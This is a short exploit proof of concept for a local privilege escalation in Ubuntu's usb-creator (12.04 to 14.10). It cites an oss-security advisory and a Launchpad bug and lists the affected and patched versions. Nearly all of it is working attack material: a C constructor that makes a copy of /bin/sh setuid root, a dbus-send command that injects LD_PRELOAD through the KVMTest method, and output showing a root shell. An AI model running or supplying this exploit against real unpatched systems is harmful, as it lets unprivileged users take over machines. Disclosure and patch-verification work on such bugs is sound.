usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) - Local Privilege Escalation

Source: http://www.openwall.com/lists/oss-security/2015/04/22/12
Bug report: https://bugs.launchpad.net/ubuntu/vivid/+source/usb-creator/+bug/1447396

Ubuntu Precise (12.04LTS) <= usb-creator: 0.2.38.3ubuntu    (Patched in: 0.2.38.3ubuntu0.1)
Ubuntu Trusty  (14.04LTS) <= usb-creator 0.2.56.3ubuntu     (Patched in: 0.2.56.3ubuntu0.1)
Ubuntu Utopic  (14.10) <= usb-creator 0.2.62ubuntu0.2         (Patched in: 0.2.62ubuntu0.3)

$ cat > test.c
void __attribute__((constructor)) init (void)
{
chown("/tmp/test", 0, 0);
chmod("/tmp/test", 04755);
}
^D
$ gcc -shared -fPIC -o /tmp/test.so test.c
$ cp /bin/sh /tmp/test
$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"
method return sender=:1.4364 -> dest=:1.7427 reply_serial=2
$ ls -l /tmp/test
-rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test
$ /tmp/test
# id
euid=0(root) groups=0(root)